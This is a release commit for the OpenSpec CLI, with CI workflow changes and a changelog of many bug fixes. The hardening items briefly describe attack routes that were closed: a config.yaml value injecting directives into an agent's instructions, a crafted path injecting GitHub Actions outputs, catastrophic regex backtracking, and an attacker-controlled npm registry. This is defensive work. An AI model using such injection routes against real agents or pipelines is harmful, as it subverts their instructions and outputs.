Version Packages (#1896)

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>

.github/dependabot.yml

@@ -1,10 +1,14 @@
 version: 2
 
 # Dependabot does not manage two dependency surfaces in this repo:
-#   1. pnpm `overrides` (pnpm-workspace.yaml + package.json, root and website) —
-#      transitive version pins that remediate advisories Dependabot can't otherwise
-#      reach. It never bumps or removes these; each carries an inline advisory
-#      comment noting the removal condition (see pnpm-workspace.yaml).
+#   1. pnpm `overrides` (pnpm-workspace.yaml, root and website) — transitive
+#      version pins that remediate advisories Dependabot can't otherwise reach.
+#      It never bumps or removes these; each carries an inline advisory comment
+#      noting the removal condition (see pnpm-workspace.yaml). They live in
+#      pnpm-workspace.yaml only, because Dependabot *does* rewrite a plain-name
+#      override (`postcss: ^8.5.26`) mirrored under package.json's `pnpm.overrides`
+#      — and that block replaces the workspace list rather than merging with it,
+#      so the mirror displaces the real pins. See #1812.
 #   2. The Nix flake (flake.nix / flake.lock). Update nixpkgs manually with
 #      `nix flake update`; there is no Dependabot ecosystem for Nix. Note that the
 #      pnpmDeps FOD hash in flake.nix must be regenerated on any root lockfile change.

.github/workflows/ci.yml

@@ -42,6 +42,10 @@ jobs:
               - 'pnpm-workspace.yaml'
               - 'scripts/update-flake.sh'
               - '.github/workflows/ci.yml'
+              # The Nix build runs `openspec completion generate`, so a change to
+              # the generator can break packaging without touching flake.nix.
+              - 'src/commands/completion.ts'
+              - 'src/core/completions/**'
 
   test_matrix:
     name: Test (${{ matrix.label }})
@@ -181,6 +185,31 @@ jobs:
       - name: Setup Nix cache
         uses: DeterminateSystems/magic-nix-cache-action@908b263ff629f4cc17666315b7fd3ec127c6244d # v14
 
+      # Run the update script before `nix build`, not after. The script recomputes
+      # the pnpmDeps hash from pnpm-lock.yaml and rewrites flake.nix in place, so a
+      # stale hash is reported here as the exact value to paste. Built first, the
+      # same staleness surfaces as pnpm's ERR_PNPM_NO_OFFLINE_TARBALL — which names
+      # a missing tarball, not the hash — and the script never runs to say otherwise.
+      # Every root lockfile change needs this value, and Dependabot cannot produce it.
+      - name: Verify pnpmDeps hash matches the lockfile
+        run: |
+          bash scripts/update-flake.sh
+          if git diff --quiet flake.nix; then
+            echo "✅ flake.nix pnpmDeps hash is up to date"
+            exit 0
+          fi
+          # Scoped to the pnpmDeps block: a bare first-match would report some other
+          # FOD's hash if one is ever added above it.
+          HASH=$(sed -n '/pnpmDeps = /,/};/p' flake.nix \
+            | sed -nE 's/.*hash = "(sha256-[^"]+)".*/\1/p' | head -1)
+          git diff flake.nix
+          echo "::error file=flake.nix::Stale pnpmDeps hash. Set pnpmDeps.hash to $HASH and push."
+          exit 1
+
+      - name: Restore flake.nix
+        if: always()
+        run: git checkout -- flake.nix || true
+
       - name: Build with Nix
         run: nix build
 
@@ -194,6 +223,19 @@ jobs:
             echo "Error: openspec binary not found in build output"
             exit 1
           fi
+          for completion in \
+            "share/bash-completion/completions/openspec.bash" \
+            "share/fish/vendor_completions.d/openspec.fish" \
+            "share/zsh/site-functions/_openspec"; do
+            if [ ! -s "result/$completion" ]; then
+              echo "Error: completion script missing or empty: $completion"
+              exit 1
+            fi
+          done
+          if [ "$(head -1 result/share/zsh/site-functions/_openspec)" != "#compdef openspec" ]; then
+            echo "Error: zsh completion is not autoloadable (missing #compdef header)"
+            exit 1
+          fi
           echo "✅ Build output verified"
 
       - name: Test binary execution
@@ -206,25 +248,6 @@ jobs:
           fi
           echo "✅ Binary execution successful"
 
-      - name: Validate update script
-        run: |
-          echo "Testing update-flake.sh script..."
-          bash scripts/update-flake.sh
-          echo "✅ Update script executed successfully"
-
-      - name: Check flake.nix modifications
-        run: |
-          if git diff --quiet flake.nix; then
-            echo "ℹ️  flake.nix unchanged (hash already up-to-date)"
-          else
-            echo "✅ flake.nix was updated by script"
-            git diff flake.nix
-          fi
-
-      - name: Restore flake.nix
-        if: always()
-        run: git checkout -- flake.nix || true
-
   validate-changesets:
     name: Validate Release Tracking
     runs-on: ubuntu-latest
@@ -242,10 +265,14 @@ jobs:
           changed_changesets="$(git diff --name-only --diff-filter=ACMRT origin/main...HEAD -- '.changeset/*.md' ':!.changeset/README.md')"
           if [[ -n "$changed_changesets" ]]; then
             echo "has_changesets=true" >> "$GITHUB_OUTPUT"
+            # Run-unique delimiter: the value is a list of PR-authored paths, so a
+            # fixed "EOF" would let a crafted path close the block early and append
+            # its own key=value outputs.
+            delim="EOF_$(openssl rand -hex 16)"
             {
-              echo "files<<EOF"
+              echo "files<<$delim"
               echo "$changed_changesets"
-              echo "EOF"
+              echo "$delim"
             } >> "$GITHUB_OUTPUT"
           else
             echo "has_changesets=false" >> "$GITHUB_OUTPUT"

CHANGELOG.md

@@ -1,5 +1,124 @@
 # @fission-ai/openspec
 
+## 1.13.1
+
+### Patch Changes
+
+- [#1864](https://github.com/Fission-AI/OpenSpec/pull/1864) [`767d63c`](https://github.com/Fission-AI/OpenSpec/commit/767d63c926ab1996170f2d101acac0bac6da0287) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop archive adding a second copy of an existing requirement under a name that differs only in case or spacing. ADDED and the RENAMED target compared requirement names exactly, while REMOVED and the RENAMED source already treated a case or whitespace variant as a mistyped header, so an ADDED `late fees` beside an existing `Late Fees`, or a rename to `LATE FEES`, archived cleanly and left two contradicting requirements in the main spec, which `validate` then accepted. Both now refuse with an error naming the existing requirement, in the same form REMOVED already used. The exact-duplicate error is unchanged, a case-only rename of a requirement to its own name still works, and a variant of a requirement the same delta removes or renames away is still allowed, because ADDED is checked against the spec as it stands after the earlier operations, as the exact check already was.
+
+- [#1872](https://github.com/Fission-AI/OpenSpec/pull/1872) [`72bf760`](https://github.com/Fission-AI/OpenSpec/commit/72bf7600a5f7bdf74d6387e163577086fb4c68e0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Make `openspec completion uninstall bash` hand `.bashrc` back exactly as `completion install bash` found it. Install adds the OpenSpec block at the top of the file followed by a blank separator line; uninstall removed the block but kept that blank line at the top, then stripped every trailing blank line and wrote the file back without its final newline. The byte count happened to come out unchanged, but the next tool to append to `.bashrc` with `>>` (the nvm, conda and rustup installers all do) merged its first line into the user's last line and broke both. Uninstall now also drops the separator line install added when the block sits at the top of the file, and leaves the rest untouched: the final newline, trailing blank lines and CRLF line endings all survive the round trip. A block the user moved elsewhere in the file is still removed, and the zsh, fish and PowerShell installers are unchanged.
+
+- [#1829](https://github.com/Fission-AI/OpenSpec/pull/1829) [`e67ac47`](https://github.com/Fission-AI/OpenSpec/commit/e67ac47f3a164cf6d87ddcd9f50272b88f39ee0c) Thanks [@choi138](https://github.com/choi138)! - Fix bulk archive nesting a change inside an existing archive target. The workflow now checks every archive target before it writes any main spec, the same order `openspec archive` uses. A change whose target already exists, or that shares a target with another selected change, is reported as failed and is never synced or moved, while the rest of the batch continues. The check runs again just before each move.
+
+- [#1878](https://github.com/Fission-AI/OpenSpec/pull/1878) [`2ef6fbd`](https://github.com/Fission-AI/OpenSpec/commit/2ef6fbde3da95f6e471bcb504d13711308091be0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Let `openspec config edit` run an `EDITOR` or `VISUAL` that carries arguments. The whole value was passed to `spawn` as the program name, so common settings such as `code --wait`, `subl -w` or `emacsclient -t` failed with `spawn code --wait ENOENT`, and because that error was never caught the command died with a raw Node stack trace. The value is now split into a program and its arguments, honoring quoted paths with spaces, and the config path is appended as its own argument. No shell is involved, so shell metacharacters in the value are passed through literally. On Windows, `.cmd` shims such as `code.cmd` are found. A value that is itself the absolute path of an existing file is still run as-is, so an unquoted editor path containing spaces keeps working. An editor that cannot be started, exits non-zero or is killed is now reported as a one-line error naming the editor, with an install hint when the program was not found, and the command exits 1 instead of throwing. `EDITOR` still takes precedence over `VISUAL`, and the file is still validated after the editor closes.
+
+- [#1773](https://github.com/Fission-AI/OpenSpec/pull/1773) [`11a9691`](https://github.com/Fission-AI/OpenSpec/commit/11a9691524bad84a575854bf6dc5124f630479ba) Thanks [@clay-good](https://github.com/clay-good)! - Stop dropping checkbox lines whose marker the task parser does not recognise. A `tasks.md` whose remaining work used a marker other than `[ ]`/`[x]`/`[X]`, for example `- [~] 1.2 Deferred`, reported `✓ Complete` in `openspec list`/`status` and archived with no incomplete-task warning, because unmatched lines counted toward neither the numerator nor the denominator. An empty `[]` and a padded `[ x]` were lost the same way. Only a box holding `x` or `X` means done (spacing inside the brackets is ignored, so `[ x]` is done), and every other marker now reads as unfinished, across progress, the apply task list, archive's gate and validate's task-numbering check. The archive, bulk-archive and verify workflows now tell agents the same rule, so a hand-counted tally cannot disagree with the CLI, and the `tasks` instruction in the `spec-driven` schema states it where agents author the file. Markdown link bullets stay out of the count: `- [Some doc](./doc.md)` and the one-character `- [A](https://example.com)` are not tasks.
+
+- [#1701](https://github.com/Fission-AI/OpenSpec/pull/1701) [`92fb72d`](https://github.com/Fission-AI/OpenSpec/commit/92fb72d1dcd5fa6e43802c5b2f74b5e78416e545) Thanks [@clay-good](https://github.com/clay-good)! - Agent-driven archive and sync workflows now create a missing main spec from `ADDED` requirements instead of treating it as already synced. They block sync rather than inventing `MODIFIED` or `RENAMED` requirements or writing an empty spec for a `REMOVED`-only delta, while preserving the user's explicit choice to archive without syncing. A REMOVED-only delta with `retire_capabilities: true` remains already synced when its main spec is gone. Fixes [#1222](https://github.com/Fission-AI/OpenSpec/issues/1222) and [#1264](https://github.com/Fission-AI/OpenSpec/issues/1264).
+
+- [#1804](https://github.com/Fission-AI/OpenSpec/pull/1804) [`a5bf5c6`](https://github.com/Fission-AI/OpenSpec/commit/a5bf5c68447f03e4f99206e49e00b5d9111301a4) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Say so when a requirement in a delta sits outside every delta section. A well-formed `### Requirement:` block written under `## Notes`, under a misspelled header such as `## Add Requirements`, or above the first `## ` header was dropped with no diagnostic: `openspec validate` reported the change valid and `openspec archive` exited 0 without applying it. `openspec validate` now reports each one as a WARNING naming the section and line, and archive prints the same warning. Nothing else changes: the block is still not applied, the verdict stays valid outside `--strict`, and requirements shown inside a code fence are not reported. Fixes [#1803](https://github.com/Fission-AI/OpenSpec/issues/1803).
+
+- [#1832](https://github.com/Fission-AI/OpenSpec/pull/1832) [`4c369e0`](https://github.com/Fission-AI/OpenSpec/commit/4c369e022b1d397842d2b85675e34da6287f5801) Thanks [@clay-good](https://github.com/clay-good)! - Resolve the contradiction that left explore mode's capture branch without a governing rule. Explore states twice that the agent must ask a direct yes/no question and wait for confirmation in a separate user message before its first write-capable action, naming `openspec new change` as an example, while the capture branch tells the agent to transition "seamlessly" into running `openspec new change` and creating artifacts with no confirmation step. Both readings were defensible from the text, so the same "capture this as a change" request either wrote `.openspec.yaml` plus several artifacts immediately or stopped and asked, depending on which passage the agent weighed, which made the [#1715](https://github.com/Fission-AI/OpenSpec/issues/1715) guarantee unenforceable in the one explore path that writes files. An explicit capture request is now stated to be that confirmation, covering the change and the artifacts the request names and nothing else. The guardrail keeps its teeth for the case [#1715](https://github.com/Fission-AI/OpenSpec/issues/1715) actually reported: when the agent is the one proposing the capture, or when the work would go beyond the requested scope, it still asks first, and answers to design or clarifying questions are still never consent to write. Both explore delivery surfaces and the committed skill carry the same wording. Fixes [#1828](https://github.com/Fission-AI/OpenSpec/issues/1828).
+
+- [#1788](https://github.com/Fission-AI/OpenSpec/pull/1788) [`62106f4`](https://github.com/Fission-AI/OpenSpec/commit/62106f40e3b7b7364529a2f928717e23e37282eb) Thanks [@clay-good](https://github.com/clay-good)! - Name the workflow where explore hands off. Explore mode refuses to implement, but every place it said what to do instead described the next step as prose ("create a change proposal") without naming the workflow that does it: the refusal itself, the "flow into a proposal" ending, the closing summary, and the do-not-implement guardrail. Its seamless capture path was worse: it scaffolded a change, wrote artifacts, and then said nothing at all about what came next. With no named exit, agents finished the discovery questions and started writing code, which is the failure reported through GitHub Copilot in [#869](https://github.com/Fission-AI/OpenSpec/issues/869), and which the docs already promised would not happen ("when the picture is clear, it hands off to `/opsx:propose`").
+  
+  The explore skill and command now name `/opsx:propose` at all four prose handoffs, and the capture path ends by naming `/opsx:propose` for the remaining planning artifacts and `/opsx:apply` for implementation, with an explicit note that capturing artifacts is not permission to implement them. The references are written in the canonical `/opsx:<id>` form so each tool renders the invocation it actually registers (`/openspec-propose` for skills-only delivery, `/opsx-propose`, `/opsx:propose`, or `@opsx-propose` for command surfaces). The handoffs follow the installed workflow set: a custom profile without `propose` or `apply` gets explore's own capture path and the `openspec instructions apply` CLI instead of a command it never installed. Fixes [#869](https://github.com/Fission-AI/OpenSpec/issues/869).
+
+- [#1787](https://github.com/Fission-AI/OpenSpec/pull/1787) [`9827762`](https://github.com/Fission-AI/OpenSpec/commit/9827762d2d18d8076acf90be79d64894255099ea) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes
+  
+  - Generated skills and commands no longer adopt a project that never ran `openspec init`. Every workflow now checks `root` from `openspec list --json` before its first write, and `"root": null` means the project is not set up. What happens next depends on how the workflow was reached. A skill the agent picked on its own drops OpenSpec and answers the request normally, without asking about setup. A workflow the user asked for by name, or ran as a slash command, stops and asks whether to initialize the project, target a store, or handle the request without OpenSpec. A project whose `openspec/config.yaml` names a store this machine cannot resolve (not registered, or a malformed `store:` line) is not mistaken for an uninitialized one: the workflow stops and shows the store error. Neither path lets `openspec new change` create `openspec/` in the current directory as a side effect. Skill descriptions now name OpenSpec so hosts stop offering these workflows in unrelated repositories. `openspec new change` also says when it had to create the root itself, so a directory that was never set up no longer picks up an `openspec/` directory in silence (human output only; `--json` is unchanged).
+
+- [#1902](https://github.com/Fission-AI/OpenSpec/pull/1902) [`eb03b9e`](https://github.com/Fission-AI/OpenSpec/commit/eb03b9e93320cf74a0df9043577d8023116cb1aa) Thanks [@clay-good](https://github.com/clay-good)! - Harden the CLI against repositories you have cloned but not yet read ([#1835](https://github.com/Fission-AI/OpenSpec/pull/1835)).
+  
+  - A `config.yaml` value can no longer close the project context block and inject its own directives into the instructions an agent receives.
+  - A crafted delta or skill file no longer stalls `openspec update` or `openspec archive` with catastrophic regex backtracking.
+  - A repository's `.npmrc` can no longer point the update check at a cleartext or attacker-controlled registry; a rejected registry now disables the check instead of falling back.
+  - `openspec update` now notices a generated `SKILL.md` that was edited by hand and restores it, instead of reporting every tool as up to date.
+  - `DO_NOT_TRACK=true` and other common spellings of an opt-out now turn telemetry off, and nothing is sent until the first-run notice has been shown.
+  - Shell-completion installs quote directory paths safely, git probes run with bounded time and output, and dependencies are cleared of known advisories.
+
+- [#1874](https://github.com/Fission-AI/OpenSpec/pull/1874) [`388d344`](https://github.com/Fission-AI/OpenSpec/commit/388d34473a40529320b2b7b9c5bb6723d18322b0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop legacy cleanup deleting the user's own files. The six pre-skills tools that kept their commands in a `<tool>/commands/openspec/` folder (Claude Code, CodeBuddy, Qoder, Lingma, Crush and Gemini CLI) had that whole folder removed recursively whenever it existed, so a command the user kept there, such as a team review checklist, was deleted along with OpenSpec's files, and the summary named only the folder. Because `openspec init` cleans up automatically when there is no TTY, an agent or CI running plain `openspec init` did this without `--force` and without a prompt, and `openspec update --force` did the same. Cleanup now deletes only the files OpenSpec wrote there: `proposal`, `apply` and `archive` files that still carry the OpenSpec markers every legacy command was generated with, so a same-named file the user wrote is kept. It never follows a symlinked command folder, removes the folder only once nothing else is left in it, and lists each thing it kept. A folder holding nothing OpenSpec wrote is no longer reported as legacy at all. A folder holding only OpenSpec's files, or nothing, is still removed exactly as before, with the same summary line.
+
+- [#1866](https://github.com/Fission-AI/OpenSpec/pull/1866) [`8146be5`](https://github.com/Fission-AI/OpenSpec/commit/8146be5546918cdffce860f1e327d929c5a49bd3) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop one unresolvable file from breaking `openspec list`. To sort changes by recency, `list` stats every file inside each change, and any entry it could not stat failed the whole command: a dangling symlink, such as the `.#tasks.md` lock Emacs keeps beside every file with unsaved edits, or a symlink loop made `list` exit 1 and `list --json` report `"changes": []`, so agents discovering work through it saw no changes at all. An entry that no longer resolves (removed mid-walk, a dangling symlink, or a loop) is now skipped when computing a change's last-modified time. Valid symlinks are dated as before, and any other error, such as a permission failure, still fails the listing.
+
+- [#1849](https://github.com/Fission-AI/OpenSpec/pull/1849) [`09a999b`](https://github.com/Fission-AI/OpenSpec/commit/09a999bbb258c2ad6d7cdc33436c698c15d4eebe) Thanks [@clay-good](https://github.com/clay-good)! - Report a change directory nested in a namespace folder instead of silently listing the folder around it as a change. Specs can be nested by domain (`specs/mobile/tutorial-videos/spec.md`), so it looks reasonable to lay changes out the same way, but a change is only ever a directory directly under `changes/`: `changes/mobile/refresh-token/` left the real change invisible while `mobile` was reported as a task-less change everywhere. `openspec archive mobile` then moved the unfinished change into the archive under the namespace's name and applied none of its deltas. `openspec list` now marks the folder `not a change` and names the nested directories and a flat alternative, `openspec show`, `openspec status --change` and `openspec status --all` say the same instead of reporting a missing proposal or a full artifact plan, `openspec validate` reports it instead of "must have at least one delta", `openspec list --json` carries a `warnings` entry, and `openspec archive` refuses the folder outright. Detection looks up to three directory levels below `changes/`, which covers every namespace layout seen in practice; a change buried deeper than that behaves as it did before. Fixes [#1846](https://github.com/Fission-AI/OpenSpec/issues/1846).
+
+- [#1902](https://github.com/Fission-AI/OpenSpec/pull/1902) [`eb03b9e`](https://github.com/Fission-AI/OpenSpec/commit/eb03b9e93320cf74a0df9043577d8023116cb1aa) Thanks [@clay-good](https://github.com/clay-good)! - Install shell completions with the Nix flake package ([#1785](https://github.com/Fission-AI/OpenSpec/pull/1785)). The package now ships bash, zsh and fish completions in their standard `share/` locations, so Nix users get tab completion without running `openspec completion install` against their home directory.
+
+- [#1775](https://github.com/Fission-AI/OpenSpec/pull/1775) [`626269e`](https://github.com/Fission-AI/OpenSpec/commit/626269ed732250492d8bd220a83df23dd756ee5d) Thanks [@clay-good](https://github.com/clay-good)! - Generated skills and commands no longer point at workflows the active profile does not install. On the default `core` profile, the update workflow told agents to hand off to `/opsx:continue` for missing artifacts and to `/opsx:new` for a change of intent, neither of which `core` generates. Every cross-workflow handoff is now decided at generation time against the installed workflow set, and renders a concrete CLI fallback (`openspec status`, `openspec instructions`, `openspec archive`) when the workflow it would name is absent, rather than relying on a runtime availability check the agent had to perform. The onboarding tutorial's command tables are likewise built from the workflows you actually have.
+  
+  Also folds in [#1735](https://github.com/Fission-AI/OpenSpec/issues/1735), which fixed the same issue ([#1734](https://github.com/Fission-AI/OpenSpec/issues/1734)) by removing the optional handoffs outright. The CLI's own runtime instructions no longer name the `openspec-continue-change` skill either, since those strings are chosen at run time and cannot be resolved against a profile; and the blocked-state fallback now carries the full CLI recovery (select the next `ready` artifact from `openspec status`, read its rules with `openspec instructions`, keep the selected `--store`) rather than a one-line pointer.
+
+- [#1870](https://github.com/Fission-AI/OpenSpec/pull/1870) [`e01ed07`](https://github.com/Fission-AI/OpenSpec/commit/e01ed070f18e15529f82563d4c5af35d8124bad3) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop archiving a change whose delta was written somewhere `archive` never reads. `validate` and `archive` read a change's deltas only from `specs/<capability-path>/spec.md`, but the spec-driven artifact graph counts any markdown file under `specs/` as the specs being written, so a delta at `specs/user-auth.md`, or in a second file beside a capability's `spec.md`, was reported done by `status` and ready by `instructions apply` with no warning, rejected by `validate` only as "no deltas found", and then archived with exit 0 and nothing merged into `openspec/specs/`. A markdown file that carries delta sections but is not a capability's `spec.md` is now a validation error naming the file and the `spec.md` its requirements belong in; `archive` runs that validation and refuses the change instead of archiving it unmerged, and `instructions apply` lists each such file in its `warnings`. `--no-validate` still archives as before, a change with no spec files still archives, and notes without delta sections under `specs/` are not affected.
+
+- [#1806](https://github.com/Fission-AI/OpenSpec/pull/1806) [`6e62b1d`](https://github.com/Fission-AI/OpenSpec/commit/6e62b1d522cfadb4b9836b63d5afa127bc950743) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Refuse a `## RENAMED Requirements` section whose `FROM:` and `TO:` lines do not pair up, instead of guessing. The reader kept one pending pair and dropped whatever did not fit: a `TO:` before its `FROM:`, a `FROM:` displaced by a second `FROM:`, or a trailing `FROM:` vanished with no diagnostic. Listing the old names and then the new ones paired the second `FROM:` with the first `TO:`, so `openspec archive` renamed a requirement the delta never named, under a name written for a different one, and exited 0. `openspec validate` now reports each unpaired line as an ERROR with its line number, and archive refuses the change until the pairing is fixed. Well-formed renames, including several consecutive pairs, are unchanged. A change that used to archive with a malformed RENAMED section is now rejected. Fixes [#1805](https://github.com/Fission-AI/OpenSpec/issues/1805).
+
+- [#1860](https://github.com/Fission-AI/OpenSpec/pull/1860) [`4b5c07a`](https://github.com/Fission-AI/OpenSpec/commit/4b5c07a0c2e5a4a1dcb3ed9f3a040f826eb7d457) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Read a requirement heading written with a CommonMark closing sequence, such as `### Requirement: Late Fees ###`, as the requirement it renders as. The trailing `#` run stayed in the name, so a REMOVED written that way looked for "Late Fees ###", missed the requirement, and archive exited 0 with a false "treating it as already removed" warning while the requirement stayed in the spec; a closed MODIFIED or RENAMED heading failed as "not found", and a closed and an open heading of one requirement were not reported as duplicates. Requirement names now drop the closing run wherever they are read, exactly as scenario names already did: only a run preceded by a space or tab counts, so a name such as `C#` keeps its `#`. Headings without a closing run are unaffected.
+
+- [#1868](https://github.com/Fission-AI/OpenSpec/pull/1868) [`7090e16`](https://github.com/Fission-AI/OpenSpec/commit/7090e16d74dfe588dad72bc4fda9bf124e71b0af) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Reject a schema whose `apply.requires` names an artifact that does not exist. `parseSchema` checked every artifact's `requires` but never `apply.requires`, so `openspec schema validate` passed a one-character typo there, and apply then skipped the unknown id: `apply.requires: [desgin]` turned the apply gate off and told the agent "Proceed with implementation" with only a proposal written. That is now a schema error, raised wherever the schema is loaded, exactly like an unknown artifact `requires`, and it names the bad id and the artifacts the schema declares. `openspec schema validate` also warns, without failing, when `apply.tracks` isn't exactly equal to some artifact's `generates` value, because OpenSpec finds the tracked artifact by comparing those two strings and can otherwise not tell which artifact's progress the file belongs to. That covers a typo such as `task.md` and also `tracks: tasks/main.md` against `generates: tasks/*.md`, where the glob does produce the file but the strings still differ. Apply reads that path as written either way, so schemas that track a hand-written file keep loading and working. Every built-in schema parses as before.
+
+- [#1856](https://github.com/Fission-AI/OpenSpec/pull/1856) [`46ff91f`](https://github.com/Fission-AI/OpenSpec/commit/46ff91f2d626ef2c3f9f55ff345aa23cd44a6e95) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Make `openspec show --json --deltas-only` report the deltas archive applies. `ChangeParser`, which backs `show --json`, the `change list` delta counts and archive's proposal warnings, read delta specs with its own section lookup instead of `parseDeltaSpec`, the reader archive uses, and the two disagreed. A REMOVED written in the bullet form (`` - `### Requirement: X` ``) was invisible to it, so it fell back to the proposal's "What Changes" prose and reported an invented MODIFIED while archive deleted the requirement; a repeated section header was read only once; and a RENAMED line written with `*` or `+` was dropped. The inspection command OpenSpec's own error text recommends therefore misreported a deletion. `ChangeParser` now derives every operation from `parseDeltaSpec`, and a change whose delta spec files carry a delta section is described by them alone, so proposal prose is never reported in place of what archive applies. Requirement text and scenarios are read exactly as before, header-form deltas produce the same output, and a change with no delta spec files, or a legacy change whose spec files carry no delta section, still falls back to the "What Changes" bullets.
+
+- [#1786](https://github.com/Fission-AI/OpenSpec/pull/1786) [`8b99c07`](https://github.com/Fission-AI/OpenSpec/commit/8b99c07bd0d455f72e746d3950f03e52a025d655) Thanks [@clay-good](https://github.com/clay-good)! - `openspec status` now names the command that moves the change forward.
+  
+  The text output reported state and stopped there, so picking a change back up (after a lost session, or on a change you did not start) meant already knowing which command came next. The JSON surface had carried that command all along in `nextSteps`; the text surface never printed it.
+  
+  Status now ends with a `Next:` line: the next ready artifact's `openspec instructions` command while planning is unfinished, and `openspec instructions apply` once every planning artifact exists. It carries `--store <id>` when the resolved root is a store, and it is built from the same source as the JSON `nextSteps` sentence, so the two surfaces cannot name different commands.
+
+- [#1882](https://github.com/Fission-AI/OpenSpec/pull/1882) [`208b5b5`](https://github.com/Fission-AI/OpenSpec/commit/208b5b55106fbeda2ed9f099671b8ce85a01cbaa) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop a store named `specs` or `changes` from taking over root selection. Stores are placed at `~/openspec/<id>`, so a store with one of those ids is itself `~/openspec/specs` or `~/openspec/changes`, and that made `$HOME` look like a planning root. Every command run anywhere under the home directory then resolved `$HOME` as the nearest root: the global `defaultStore` was never consulted, and `new change` wrote into `~/openspec/changes`, outside any store. A `specs/` or `changes/` directory that carries store metadata no longer counts as planning content of the directory above it, so these stores resolve like any other. A real project's `openspec/specs/` and `openspec/changes/` are unaffected.
+
+- [#1880](https://github.com/Fission-AI/OpenSpec/pull/1880) [`9f8dec5`](https://github.com/Fission-AI/OpenSpec/commit/9f8dec5dd937da78bbdaeff5e5dfd041bb43cf5c) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop `openspec store remove` deleting a store the user did not name. Remove deletes the target's folder recursively, but it checked only the target's own metadata, so any other registered store living inside that folder was deleted with it, uncommitted planning work included, while its registry entry was left pointing at a path that no longer existed. The natural way to get there is a shared store vendored into another as a git submodule, a layout `store register` accepts. Remove now refuses when another registration points inside the folder, checked under the same registry lock that commits the removal, and the error names each nested store with the `openspec store unregister` command to run first. Removing a store whose other registrations are siblings is unchanged, and `store register` still accepts nested checkouts.
+
+- [#1884](https://github.com/Fission-AI/OpenSpec/pull/1884) [`5d22145`](https://github.com/Fission-AI/OpenSpec/commit/5d221456e57feb9277de40482fade427201b9bdb) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Let `openspec store setup --no-init-git` create a store inside an existing Git repository. Setup refuses a path inside another repository because initializing the store there would nest one repository in another, but it ran that check even with `--no-init-git`, which creates no repository at all. Users who keep their home directory as a dotfiles repository therefore could not set up a store at the recommended `~/openspec/<id>` path with any flag. With `--no-init-git` the check is now skipped, and the store never records the enclosing repository's remote. The default setup and an explicit `--init-git` still refuse a path inside another repository.
+
+- [#1862](https://github.com/Fission-AI/OpenSpec/pull/1862) [`8fc65b7`](https://github.com/Fission-AI/OpenSpec/commit/8fc65b7f70c4bd730a1dbe500cbe165d156f3c58) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Count task checkboxes under every CommonMark list marker. The task counter shared by `list`, `status`, `view`, `instructions apply`, `validate --archived` and archive's incomplete-task check recognized only `-` and `*` bullets, so a task written as an ordered item (`1. [ ]`, `1) [ ]`) or under a `+` bullet was invisible to all of them: a change with unfinished ordered tasks reported "✓ Complete", and `openspec archive` archived it without its incomplete-task warning. Task lines under `+` and ordered markers (`.` or `)`, up to nine digits, as CommonMark allows) now count exactly like `-` and `*` ones, including nested sub-tasks, CRLF files and the existing tolerance of a missing space after the marker, and task-numbering checks now see them too. Ordered and `+` items without a checkbox are still ignored, and `-` and `*` tasks count as before.
+
+- [#1777](https://github.com/Fission-AI/OpenSpec/pull/1777) [`3312af4`](https://github.com/Fission-AI/OpenSpec/commit/3312af4799eb162d3ddb7804d643ace5282c22cb) Thanks [@clay-good](https://github.com/clay-good)! - Start generated proposal, spec, design, and tasks files with a top-level heading, so artifacts are complete markdown documents instead of files whose first line is a section header. Editors that run markdownlint no longer flag every OpenSpec artifact with MD041. `openspec schema init` scaffolds custom templates the same way.
+  
+  `openspec show --json` and `openspec change list --json` keep naming a change by its id when its proposal opens with the template's bare `# Proposal` title.
+
+- [#1778](https://github.com/Fission-AI/OpenSpec/pull/1778) [`7de2404`](https://github.com/Fission-AI/OpenSpec/commit/7de24044ef4c635f634b78fa6bc4b5905967bfd8) Thanks [@clay-good](https://github.com/clay-good)! - Make the vendor-neutral tool target findable when your assistant is not on the list. `openspec init` now shows it as "Other / Universal (shared .agents skills)"; the picker's search box matches it on `universal`, `other`, `generic`, `custom`, `proprietary`, `unlisted`, `unsupported`, `vendor-neutral` and `agents.md`; a search that matches nothing points at it instead of ending at "No matches"; and `--tools <unknown>` names it in the error. The search box also accepts punctuation, so `.agents` and `amazon-q` filter instead of silently dropping their `.` and `-`.
+
+- [#1876](https://github.com/Fission-AI/OpenSpec/pull/1876) [`605d9e7`](https://github.com/Fission-AI/OpenSpec/commit/605d9e7a2bb5c1bab90268933f9b84ff1eb8807c) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop OpenSpec rewriting a global config file it cannot parse. After a hand edit left a typo such as a trailing comma in `config.json`, the next command of any kind, including read-only ones like `openspec list`, read the fallback defaults as telemetry consent, minted a new anonymous ID and wrote it back, replacing the whole file: a `telemetry.enabled false` opt-out, the chosen profile and the workflow list were all lost, and usage events were sent. A config file that exists but does not hold a JSON object, whether it failed to parse or its root is something else such as `null`, an array or a string, is now never written implicitly, and telemetry and the update check treat it as opted out. `config set`, `config unset` and `config profile` refuse with an error that names the file and points to `openspec config edit`, and `openspec config reset --all` still replaces it. The existing "Invalid JSON" warning is unchanged, and valid or missing config files behave exactly as before.
+
